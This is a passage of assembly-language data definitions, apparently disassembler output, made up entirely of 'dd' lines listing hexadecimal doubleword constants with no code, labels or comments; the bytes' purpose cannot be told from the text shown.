		dd 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h, 0A07BEh
		dd 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h,	5C97009Ch
		dd 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch, 9BBA1DCDh
		dd 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh, 293865h
		dd 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh
		dd 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h,	0A1BD9000h
		dd 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h, 994AD02Dh
		dd 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh,	0B805D5E7h
		dd 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h, 0B0930383h
		dd 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h, 0EC480022h
		dd 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h, 0FCA4001Ch
		dd 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h,	0BC5C58h
		dd 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h, 7CCF842h
		dd 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch, 0D5F8101Fh
		dd 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h, 0E552EE19h
		dd 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh, 54203D61h
		dd 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh, 0BB580012h
		dd 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah,	5E3C2466h
		dd 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h, 2A230360h
		dd 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h,	0B90136A7h
		dd 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h, 0A954F513h
		dd 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h,	0FCF161EDh
		dd 7A037B64h, 20C37371h, 0BF69D852h, 78450091h,	66DDF663h
		dd 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h,	31880024h
		dd 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h,	28FCD489h
		dd 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h,	0EFE20683h
		dd 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h,	11E21E3Ah
		dd 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah, 7D7E02h
		dd 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h, 439E00D6h
		dd 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh, 1E389507h
		dd 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h, 91670053h
		dd 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h, 0C3FA50h
		dd 6F0032Ah, 26F3F85Bh,	80CE103Bh, 52E22C92h, 0A46DA7h
		dd 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h, 0E68B828h
		dd 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h, 7CA10974h
		dd 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh,	5478D68h
		dd 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h, 6900E8ECh
		dd 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h,	0E0A00E6Eh
		dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h
		dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h,	2B3B04EBh
		dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h
		dd 324638h, 33D08B56h, 0FEBF6h,	80068A7Dh, 5742FF9h, 5C5F0A00h
		dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
		dd 7C75F7F0h
		dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h
		dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh,	3CA900EDh
		dd 0FD3E8Bh, 9A708845h,	0C94F943Ah, 1241520Eh, 0F4538024h
		dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h
		dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h
		dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h
		dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h
		dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah
		dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h
		dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h
		dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h
		dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h
		dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh
		dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h
		dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh
		dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h
		dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh
		dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h
		dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh
		dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh
		dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh
		dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah
		dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh
		dd 8669680h, 553D4126h,	0EB3B9C4Bh, 39F98443h, 8AEA0715h
		dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h
		dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h
		dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h,	0ABF656Eh
		dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh
		dd 79E005Ch, 830E731Eh,	8D3E0401h, 0B490F485h, 8074F83Fh
		dd 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh, 0CBD52EC9h
		dd 0A2F91600h, 64146E09h, 7507846h, 70965534h, 0C6B75160h
		dd 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h
		dd 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h, 3F840ADh
		dd 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h, 460307C0h
		dd 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh, 12EB007h
		dd 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h,	71EBB1h
		dd 37195E3Ah, 2A41775h,	50A08900h, 2ACAD555h, 7F230F40h
		dd 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h, 1A296A80h
		dd 185FE17h, 72F107A6h,	0D08E924Dh, 0EB007534h,	0D04AD58Bh
		dd 20BA61h, 0E36E9E65h,	408D85E1h, 80CFAA00h, 423F3908h
		dd 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h, 8A904E07h
		dd 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h, 30FB6C00h
		dd 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h, 3A00EEDBh
		dd 100821FCh, 75188A74h, 931C0205h, 9BE842BBh, 40F59061h
		dd 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h, 202ABF22h
		dd 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h, 0F5407F82h
		dd 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h, 0DC5EE051h
		dd 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h,	276EAED2h
		dd 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h, 0FDBD11B9h
		dd 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh, 0C7555Ah
		dd 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h,	0F9340031h
		dd 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h, 5C490036h
		dd 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h, 7222DCh
		dd 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h, 51C71021h
		dd 74288D30h, 6C030337h, 0E365FDCEh, 22261993h,	52005D08h
		dd 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h,	24400846h
		dd 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h,	832019DFh
		dd 79935145h, 0C0394B13h, 9216B691h, 60230400h,	0CF542846h
		dd 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h, 117865h
		dd 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h, 2FC640A1h
		dd 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh, 204C8h
		dd 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h,	0EC680050h
		dd 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh, 3785E9B1h
		dd 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h,	39076010h
		dd 50008402h, 56404D11h, 1E0A4218h, 8069EB68h, 1032C765h
		dd 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h, 57C1564h
		dd 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h, 59FFDE38h
		dd 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h, 26513C92h
		dd 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh,	1FF200Fh
		dd 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h,	438CA500h
		dd 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h, 66771203h
		dd 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h, 6C013Eh
		dd 29BCC951h, 78910868h, 3C960014h, 850D2833h, 253E3DEDh
		dd 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h, 0A5AF27CCh
		dd 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h, 0F1AFECB7h
		dd 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h,	808B8549h
		dd 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h,	38913922h
		dd 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h, 217E3B6Ch
		dd 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh,	82804AEFh
		dd 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h, 1DC7781Dh
		dd 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h, 5CB10F66h
		dd 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h, 0E4C2B5A0h
		dd 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh, 0A2B380FBh
		dd 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h, 74CBA8D9h
		dd 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh,	0CF7D6D08h
		dd 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h, 1A1822h
		dd 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h,	18320070h
		dd 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h, 42A900F5h
		dd 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h,	0ADD63BABh
		dd 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h, 7868CB77h
		dd 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h,	0B04ED74Bh
		dd 734CC811h, 53C30042h, 49D82A21h, 770740DEh, 3EBC5193h
		dd 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h, 81185740h
		dd 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h,	80E0F992h
		dd 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h,	9166D8A8h
		dd 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh, 0D57756A2h
		dd 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h
		dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h
		dd 27038C3h, 9678732Eh,	6B1EDD00h, 201018h, 0EB7C74A7h
		dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh
		dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h
		dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h
		dd 0ACB0A943h, 84258Ah
		dd 5419A457h, 4D68809h,	0BA442039h, 7826DC5Ah, 85CCC00h
		dd 97948C9Ch, 80960041h, 14819844h, 38000988h, 1C08119Ah
		dd 467FE8h, 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah
		dd 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h,	460410Eh
		dd 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h
		dd 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h,	23D0F0DFh
		dd 1100A081h, 4022E34h,	0E82F7C22h, 5446004Ch, 9C49932h
		dd 800516Ch, 22A4913Ch,	5C2074h, 942C4457h, 0F8116489h
		dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h,	5A0E7933h
		dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h,	0A8086164h
		dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h
		dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h,	21F96050h
		dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h,	0BE2330h
		dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh
		dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh
		dd 3026295h, 4C70253Ch,	0A8D1409Ch, 50437089h, 2007657Eh
		dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h,	6DFC2212h
		dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h
		dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h,	4707E817h
		dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch
		dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h,	821000Ch
		dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h
		dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h,	80112DBFh
		dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h,	0A00A1D55h
		dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h,	1FC1F927h
		dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h
		dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h
		dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h
		dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h
		dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h
		dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h,	0BC80E5BDh
		dd 5390408h, 8E641C00h,	6A236547h, 5FA83E89h, 48605403h
		dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch
		dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h
		dd 11660423h, 100D560h,	37842A93h, 0E500D14h, 4B4A4847h
		dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah,	454104ECh
		dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh
		dd 74052F00h, 17A7877h,	61200176h, 606F6965h, 9160B998h
		dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h
		dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h
		dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh,	19F3F0F2h
		dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch,	741724DEh
		dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h,	6420FA8Eh
		dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh,	9B382F3Fh
		dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h,	931500F4h
		dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h
		dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch
		dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh,	728409E8h
		dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h,	7CA3F003h
		dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h
		dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h
		dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h
		dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch,	0B35A0350h
		dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h
		dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh
		dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh,	105C030Eh
		dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h
		dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh,	0A024B1D7h
		dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h,	3B003160h
		dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h
		dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh
		dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh,	37714B0h
		dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h,	785DD9BEh
		dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h,	4411003Fh
		dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h,	0A1E05760h
		dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h
		dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h
		dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch
		dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h
		dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah
		dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h,	9FB4298Ch
		dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h
		dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h,	32BF00E0h
		dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h
		dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h,	0C9083F2h
		dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h
		dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h
		dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h,	94B059F2h
		dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h
		dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h,	0D7011E41h
		dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh
		dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh
		dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h
		dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h,	0FA1887ADh
		dd 995AF0B1h, 93E7031h,	24A08088h, 91D448B8h, 0F22202E2h
		dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh
		dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh
		dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh
		dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h,	5B89053h
		dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h
		dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h
		dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah
		dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch
		dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h
		dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h
		dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h,	914E483Ah
		dd 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h
		dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h,	0A612009Ah
		dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h
		dd 7487473Eh, 0C9789Dh,	0E66ECE1Eh, 1C0C6854h, 49646117h
		dd 446DD300h, 0F83046h,	69757243h, 617B63E4h, 0EB537E00h
		dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h,	1895B000h
		dd 27B6499Dh, 7AFC0124h
		dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h,	6F960382h
		dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h
		dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h,	287942B8h
		dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h,	4CE1416Eh
		dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h
		dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h
		dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh
		dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h
		dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh,	459403A0h
		dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h
		dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah,	0FA730032h
		dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h
		dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h,	501A0926h
		dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h,	0D4770082h
		dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h,	90C6B864h
		dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h
		dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h
		dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh
		dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h
		dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h,	326700F2h
		dd 9143565Ch, 20E4D00h,	9A4F29D9h, 0C06E39A6h, 21D41300h
		dd 8723DB89h, 58A7A00h,	29747561h, 70B50740h, 80A00DE4h
		dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h
		dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h,	458C02Eh
		dd 0A525D4h, 548FCC8Ah,	542849Ah, 9100B8E8h, 591B470Eh
		dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h
		dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h
		dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah,	3D0A599Ch
		dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h,	0A500C571h
		dd 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h, 889022EEh
		dd 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h, 0EA7404B1h
		dd 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h,	330114F2h
		dd 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh,	0E4DC3DA5h
		dd 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h,	8B4428EAh
		dd 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh, 41256361h
		dd 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h, 219B0FE7h
		dd 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh, 7E6C755Dh
		dd 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch,	62450F5Ah
		dd 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah, 0E65477DCh
		dd 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h, 252366EDh
		dd 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h,	0BC0315AEh
		dd 0D0D8EF5Ah, 2A2B78h,	1E324693h, 8FA6C241h, 6200CAE4h
		dd 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h,	70412032h
		dd 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h, 1BB9D40Ch
		dd 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h, 77F7958h
		dd 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h, 60BC1207h
		dd 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h, 2A1D7600h
		dd 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h, 7A00C4E4h
		dd 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh, 8E1D680Bh
		dd 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h, 1FD6B701h
		dd 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h, 7568CE03h
		dd 0C00948F2h, 1557B8h,	203D3251h, 0D501299Ch, 1A55B70h
		dd 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h
		dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah
		dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh
		dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h
		dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h
		dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h
		dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh
		dd 327781Eh, 507C487Ah,	0BF90B87Eh, 3477071Ch, 80CD9D3Ah
		dd 27263513h, 7E0479Ch,	55362161h, 7CD150C9h, 37000FD8h
		dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h
		dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h
		dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh
		dd 7EE14F6h, 1700E03Ah,	2E672847h, 0A70A3687h, 0DA57C740h
		dd 9B14839Dh, 0C652CAh,	303B1AE1h, 0D17FC9h, 0E0BDD99Fh
		dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h,	549F4B1Eh
		dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah,	0A2809697h
		dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h
		dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh
		dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch,	324FB992h
		dd 0E6BC39h, 3118C3EEh,	3EFE971Eh, 5401488Eh, 73495C0Fh
		dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh
		dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h
		dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h
